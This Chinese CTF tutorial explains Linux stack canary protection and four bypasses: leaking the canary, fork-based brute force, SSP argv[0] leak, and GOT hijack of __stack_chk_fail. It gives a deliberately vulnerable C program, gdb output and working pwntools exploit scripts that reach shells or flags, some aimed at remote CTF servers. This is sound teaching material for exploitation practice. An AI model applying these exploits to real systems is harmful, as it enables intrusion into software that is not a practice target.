Canary保护

简介

Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段,它的出现很大程度上增加了栈溢出攻击的难度,并且由于它几乎并不消耗系统资源,所以现在成了 Linux 下保护机制的标配。

通常栈溢出的利用方式是通过溢出存在于栈上的局部变量,从而让多出来的数据覆盖 ebp、eip 等,从而达到劫持控制流的目的。栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈底插入 cookie 信息,当函数真正返回的时候会验证 cookie 信息是否合法 (栈帧销毁前测试该值是否被改变),如果不合法就停止程序运行 (栈溢出发生)。攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉,导致栈保护检查失败而阻止 shellcode 的执行,避免漏洞利用成功。在 Linux 中我们将 cookie 信息称为 Canary。

实现原理

开启 Canary 保护的 stack 结构大概如下:

    High
    Address |                 |
            +-----------------+
            | args            |
            +-----------------+
            | return address  |
            +-----------------+
    rbp =>  | old ebp         |
            +-----------------+
  rbp-8 =>  | canary value    |
            +-----------------+
            | local variables |
    Low     |                 |
    Address

Canary是一种针对栈溢出攻击的防护手段,其基本原理是从内存中某处(一般是 fs: 0x28 处)复制一个随机数 canary ,该随机数会在创建栈帧时紧跟着 rbp 入栈,如下图所示:
在这里插入图片描述

在函数退栈返回前,程序会比对栈上的 canary副本 和原始的 canary ,若二者不同,则说明发生了栈溢出,这时程序会直接崩溃。
在这里插入图片描述
图中标出的两个代码块是实现 Canary 的关键代码。其中代码块1的功能是从 fs: 0x28 处读出随机数,并将随机数放入首地址为 rbp-8(EBP - 0x4(32位)或RBP - 0x8(64位))的内存空间中。 代码块2的功能则是对比原始canary (位于地址fs:0x28处)和副本canary (位于地址 rbp-8)处是否相等,若相等,则正常返回;否则调用函数 sub1070 ,使程序崩溃。

绕过

泄露栈中的 Canary

原理

Canary是以字节\x00结尾,这样的目的是能够保证canary能够截断字符串;这也给泄露带来了便利,可以通过覆盖canary低字节来打印剩余部分的canary。

条件

  • 存在栈溢出漏洞
  • 可以将栈中的可控变量输出

利用

32位:
代码:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

编译:

gcc -m32 -no-pie -g -o canary1 canary1.c

查看保护

qufeng@qufeng-virtual-machine:~/Desktop/CTF/pwn/stack/canary$ checksec canary1
[*] '/home/qufeng/Desktop/CTF/pwn/stack/canary/canary1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

首先gdb调试一下,由于buf只有100,在seadline发送时会加上0a,所以这里输入的时候输入99个a,这样就不会将0a溢出至canary

pwndbg> stack 50
00:0000│ esp 0xffffcf30 —▸ 0xf7fb2d20 (_IO_2_1_stdout_) ◂— 0xfbad2887
01:0004│     0xffffcf34 ◂— 0x0
02:0008│ ecx 0xffffcf38 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'
... ↓        23 skipped
1a:0068│     0xffffcf98 ◂— 'aaa\n'
1b:006c│     0xffffcf9c ◂— 0xd2b3ec00                         //canary
1c:0070│     0xffffcfa0 —▸ 0x804a010 ◂— 'Hello Hacker!'
1d:0074│     0xffffcfa4 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf08 (_DYNAMIC) ◂— 0x1
1e:0078│ ebp 0xffffcfa8 —▸ 0xffffcfb8 ◂— 0x0
1f:007c│     0xffffcfac —▸ 0x804936d (main+58) ◂— 0xb8
20:0080│     0xffffcfb0 —▸ 0xffffcfd0 ◂— 0x1

可以发现每次进程启动的canary值都不一样;现在需要将canary的值泄露出来,因为这里存在栈溢出和格式化字符串漏洞,这样可以将canary当作buf的一部分进行输出

构造exp:

#-*- codingLutf-8 -*-
from pwn import *

context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./canary1')
e = ELF('./canary1')
get_shell = e.sym['getshell']
#1 leak canary
p.recvuntil('Hello Hacker!')
payload = 'a'*100
p.sendline(payload)

p.recvuntil('a'*100)
canary = u32(p.recv(4))-0xa
log.info("Canary:"+hex(canary))

#bypass canary
payload = 'a'*100+p32(canary)+'a'*8+'a'*4+p32(get_shell)
p.sendline(payload)
p.interactive()

64位

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
back_door = 0x4011d6
""" ROPgadget --binary stackguard1 --only """pop|ret"|grep "rdi" """
pop_rdi_ret = 0x0401343
bin_sh = 0x402004
#p = process('./stackguard1')
p = remote('123.57.230.48',12344)
payload1 = '%11$p'  # 泄露canary
p.sendline(payload1)
canary=int(p.recv(),16)  # 接受canary
print canary
p.sendline('a'*0x28+p64(canary)+'a'*8+p64(back_door))
#gdb.attach(p,'b main')
p.interactive()

爆破Canary

原理

每次进程重启的Canary不同,但是同一个进程中的不同线程的Canary是相同的,并且通过fork创建的子进程的Canary是相同的

条件

与泄露Canary的条件一致,唯一的区别在于不存在合适的输出缓冲区字符串的函数

利用

查看保护:

qufeng@qufeng-virtual-machine:~/Desktop/CTF/pwn/stack/canary$ checksec bin1
[*] '/home/qufeng/Desktop/CTF/pwn/stack/canary/bin1'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

分析程序:

查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __pid_t v3; // [sp+Ch] [bp-Ch]@2

  init();
  while ( 1 )
  {
    v3 = fork();       //调用fork函数
    if ( v3 < 0 )
      break;
    if ( v3 )         //父进程
    {
      wait(0);
    }
    else              //子进程
    {
      puts("welcome");
      fun();          //栈溢出漏洞存在这里
      puts("recv sucess");
    }
  }
  puts("fork error");
  exit(0);
}

查看fun函数:

int fun()
{
  char buf; // [sp+8h] [bp-70h]@1
  int v2; // [sp+6Ch] [bp-Ch]@1

  v2 = *MK_FP(__GS__, 20);
  read(0, &buf, 0x78u);            //栈溢出漏洞
  return *MK_FP(__GS__, 20) ^ v2;
}

根据程序分析可以得到buf的大小为100

思路:看到程序开启了Canary和NX,然后程序中又有fork函数,可以利用爆破Canary来解决问题

# -*- coding:utf-8 -*-
from pwn import *
context(os='linux',arch='i386',log_level='debug')
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

p = process('./bin1')
e = ELF('./bin1')

p.recvuntil('welcome\n')
canary = '\x00'

for i in range(3):
    for i in range(256):
        p.send('a'*100+canary+chr(i))
        message = p.recvuntil('welcome\n')
        if 'recv' in message:
            canary+=chr(i)
            break

getflag_addr = e.sym['getflag']
payload = 100*'a'+canary+8*'a'+4*'a'+p32(getflag_addr)
p.sendline(payload)
p.interactive()

如果canary不正确,就会输出检测到堆溢出的信息,如果canary正确,会输出成功信息,并继续下一字节的爆破,由于32位的canary有4字节,故需要爆破3次

SSP Leak

原理

当程序检测到栈溢出时,程序会执行 stack_chk_fail函数,而 stack_chk_fail函数作用是阻断程序继续执行,并输出argv[0]警告,而ssp攻击原理是通过输入足够长的字符串覆盖掉argv[0],这样就能让canary保护输出我们想要地址上的值。
注意:这个方法在glibc2.27及以上的版本中已失效

void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
    __fortify_fail ("stack smashing detected");
}

void
__attribute__ ((noreturn))
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
}
libc_hidden_def (__fortify_fail)

上面是 stack_chk_fail()函数的源码,在libc_message函数中第二个%s输出的就是__libc_argv[0],argv[0]是指向第一个启动参数字符串的指针。我们可以利用栈溢出将其覆盖成我们想要泄露的地址,当程序触发到canary时就可以泄露我们想要的东西了。

条件

以上条件,不能爆破,不能泄露,glibc版本会输出argv[0]

两个需要寻找的东西:argv[0]与栈溢出的栈顶指针的偏移量(也可以不同,只需要在payload中填满泄露的地址);需要泄露数据的地址

利用

寻找偏移量:在main前下断点

0000| 0x7fffffffddd8 --> 0x7ffff7a2e830 (<__libc_start_main+240>:   mov    edi,eax)
0008| 0x7fffffffdde0 --> 0x0 
0016| 0x7fffffffdde8 --> 0x7fffffffdeb8 --> 0x7fffffffe210 ("/home/qufeng/Desktop/CTF/pwn/stack/canary/bin2")
argv[0]的地址为0x7fffffffdeb8

在get函数前设置断点,查看此时栈顶的值:

gdb-peda$ b *0x000000000040080E
Breakpoint 2 at 0x40080e

gdb-peda$ p $rsp
$4 = (void *) 0x7fffffffdca0

偏移量:0x7fffffffdeb8-0x7fffffffdca0=0x218
# -*- coding:utf-8 -*-
from pwn import *

context(os='linux',arch='amd64',log_level='debug')

# p = process('./bin2')
p = remote('pwn.jarvisoj.com',9877)

flag_addr = 0x400d21
payload = 'a'*0x218 + p64(flag_addr)
p.sendlineafter('your name? ',payload)
p.recv()
p.sendline()
p.interactive()

或:
payload = p64(flag_addr)*200

劫持__stack_chk_fail函数

原理

在开启canary保护的程序中,如果canary不对,程序会转到stack_chk_fail函数执行,stack_chk_fail函数是一个普通的延迟绑定函数,可以通过修改GOT表劫持这个函数。利用方式就是通过格式化字符串漏洞来修改GOT表中的值。

条件

存在格式化字符串漏洞

利用

思路:先通过格式化字符串漏洞把__stack_chkfail函数对应的got表中的值修改成后门函数地址,在通过栈溢出触发_stack_chk_fail函数的执行从而触发后门函数

#-*- coding:utf-8 -*-
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

p = process('./bin3')
e = ELF('./bin3')

system_addr = 0x40084e
stack_chk_fail_got_addr = e.got['__stack_chk_fail']

payload = 'a'*5 + '%' + str(system_addr&0xffff-5) + 'c%8$hn' + p64(stack_chk_fail_got_addr) + 'a'*100

p.sendlineafter('It\'s easy to PWN',payload)
p.interactive()

system_addr&0xffff的含义是取后门地址的两个低字节,然后通过$hn写入两个低字节即可。高字节部分后门函数地址和stack_chk_fail函数地址都是相同的。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值